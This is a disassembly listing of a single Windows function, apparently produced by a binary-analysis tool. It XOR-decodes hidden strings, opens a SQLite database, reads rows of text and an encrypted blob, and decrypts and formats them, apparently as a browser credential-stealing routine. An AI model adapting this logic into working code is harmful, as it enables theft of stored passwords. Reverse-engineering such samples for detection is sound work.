Function at 0x14000caa0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
movaps xmmword [rsp + 0x290], xmm6
mov rax, qword [0x140090040]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov rdi, r8
mov r13, rdx
mov rsi, rcx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x28], r8
mov dword [rsp + 0x78], 1
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
xor r14d, r14d
mov qword [rcx], r14
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
mov dword [rsp + 0x78], 1
movups xmm0, xmmword [str.mvVRTC_LevT_TP]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [str._6_D]
mov dword [rsp + 0x70], eax
mov ebx, dword [0x140090090]
cmp byte [0x1400815d3], r14b
je 0x14000ccc3
mov r8d, r14d
cmp ebx, 2
jl 0x14000cc7e
movdqa xmm5, xmmword [0x140084890]
movdqa xmm4, xmmword [0x1400849b0]
movdqa xmm6, xmmword [0x1400848e0]
movdqa xmm0, xmmword [str.11111111111111114444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000cb71
cmp r8d, 0x14
jge 0x14000ccc3
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000cc90
lea r8, [rsp + 0x60]
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.1400051b0
nop
mov qword [rbp + 0x20], r14
movups xmm0, xmmword [0x1400816b0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400816c0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400816d0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400816e0]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1400816f0]
movsd qword [rbp], xmm0
movzx eax, word [0x1400816f8]
mov word [rbp + 8], ax
mov r8d, r14d
cmp ebx, 2
jl 0x14000ce6d
movdqa xmm5, xmmword [0x140084890]
movdqa xmm4, xmmword [0x1400849b0]
movdqa xmm6, xmmword [0x1400848e0]
movdqa xmm0, xmmword [str.11111111111111114444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x14000cd60
cmp r8d, 0x4a
jge 0x14000ceb3
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4a
jl 0x14000ce80
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ced0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x30]
call fcn.1400055d0
nop
mov qword [rbp + 0x18], r14
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rcx, qword [rbp + 0x50]
lea rdx, [rbp + 0x20]
call qword [sym.imp.winsqlite3.dll_sqlite3_open]
test eax, eax
je 0x14000d022
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000cf47
inc rdx
mov rcx, qword [rbp + 0x30]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000cf42
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d63d
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
mov byte [rbp + 0x30], 0
movdqu xmmword [rbp + 0x40], xmm0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000cf93
inc rdx
mov rcx, qword [rbp + 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000cf8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d631
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000cfde
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000cfd9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000d637
mov rcx, r8
call fcn.1400491b0
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov rax, rsi
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140049190
mov rbx, qword [rsp + 0x2f8]
movaps xmm6, xmmword [rsp + 0x290]
add rsp, 0x2a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x18]
mov r8d, 0xffffffff
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.winsqlite3.dll_sqlite3_prepare_v2]
test eax, eax
jne 0x14000cf0c
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.winsqlite3.dll_sqlite3_step]
cmp eax, 0x64
jne 0x14000d4ab
xor edx, edx
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_text]
mov r14, rax
mov edx, 1
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_text]
mov r15, rax
mov edx, 2
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_text]
mov r12, rax
mov edx, 3
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_blob]
mov rbx, rax
mov edx, 3
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_bytes]
test eax, eax
je 0x14000d548
movups xmm6, xmmword [r13]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], al
jne 0x14000d0e0
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.1400055d0
movaps xmmword [rbp - 0x80], xmm6
xor r9d, r9d
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x70]
call fcn.1400170b0
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x90]
call fcn.14006ec30
lea rcx, [rbp + 0x90]
call fcn.140004410
nop
movsd xmm0, qword [str.fWQGBR]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x140081620]
mov word [rsp + 0x38], ax
cmp byte [0x140081621], 0
je 0x14000d184
mov byte [rsp + 0x30], 0x57
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor byte [rsp + 0x38], 0x39
xor byte [rsp + 0x39], 0x3a
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x90]
call fcn.140005320
mov rcx, rax
mov rdx, r14
call fcn.140005320
mov rcx, rax
lea rdx, [0x140081270]
call fcn.140005320
mov eax, dword [0x1400815e8]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400815ec]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x55
xor byte [rsp + 0x41], 0x32
xor byte [rsp + 0x42], 0x33
xor byte [rsp + 0x43], 0x34
xor al, 0x35
mov byte [rsp + 0x44], al
xor byte [rsp + 0x45], 0x36
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.140005320
mov rcx, rax
mov rdx, r15
call fcn.140005320
mov rcx, rax
lea rdx, [0x140081270]
call fcn.140005320
movsd xmm0, qword [str.dAVF_WZ_]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400815b8]
mov word [rsp + 0x68], cx
movzx eax, byte [0x1400815ba]
mov byte [rsp + 0x60], 0x55
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor cl, 0x39
mov byte [rsp + 0x68], cl
xor byte [rsp + 0x69], 0x3a
xor al, 0x3b
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x90]
call fcn.140005320
mov rcx, rax
mov rdx, r12
call fcn.140005320
mov rcx, rax
lea rdx, [0x140081270]
call fcn.140005320
movsd xmm0, qword [str.aS_GBYE_]
movsd qword [rsp + 0x50], xmm0
movzx ecx, word [0x1400816a0]
mov word [rsp + 0x58], cx
movzx eax, byte [0x1400816a2]
mov byte [rsp + 0x50], 0x50
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor byte [rsp + 0x54], 0x35
xor byte [rsp + 0x55], 0x36
xor byte [rsp + 0x56], 0x37
xor byte [rsp + 0x57], 0x38
xor cl, 0x39
mov byte [rsp + 0x58], cl
xor byte [rsp + 0x59], 0x3a
xor al, 0x3b
mov byte [rsp + 0x5a], al
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.140005320
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x80]
mov rcx, rax
call fcn.14000dae0
mov rcx, rax
lea rdx, [0x140081270]
call fcn.140005320
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x98]
call fcn.140004cd0
or dword [rsp + 0x78], 2
mov rdx, qword [rsi + 8]
cmp rdx, qword [rsi + 0x10]
je 0x14000d387
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
xor r14d, r14d
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], r14
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp - 0x70], r14
mov edx, 0xf
mov qword [rbp - 0x68], rdx
mov byte [rbp - 0x80], r14b
add qword [rsi + 8], 0x20
jmp 0x14000d39a
lea r8, [rbp - 0x80]
mov rcx, rsi
call fcn.14000dd90
mov rdx, qword [rbp - 0x68]
xor r14d, r14d
cmp rdx, 0xf
jbe 0x14000d3d2
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d3cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d643
call fcn.1400491b0
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0x98]
call fcn.1400043a0
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x8c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x118]
call fcn.140048370
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14000d498
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d493
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d649
call fcn.1400491b0
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.winsqlite3.dll_sqlite3_step]
cmp eax, 0x64
je 0x14000d064
mov edx, 0x10
mov rcx, r13
call fcn.1400491b0
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000d4f4
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d63d
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000cf93
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d631
jmp 0x14000cf8e
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000d583
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d57e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d64f
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000d5cf
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d655
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000d616
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000d611
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000d62b
mov rcx, r8
call fcn.1400491b0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 0xf
mov byte [rdi], al
jmp 0x14000cfed
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
int3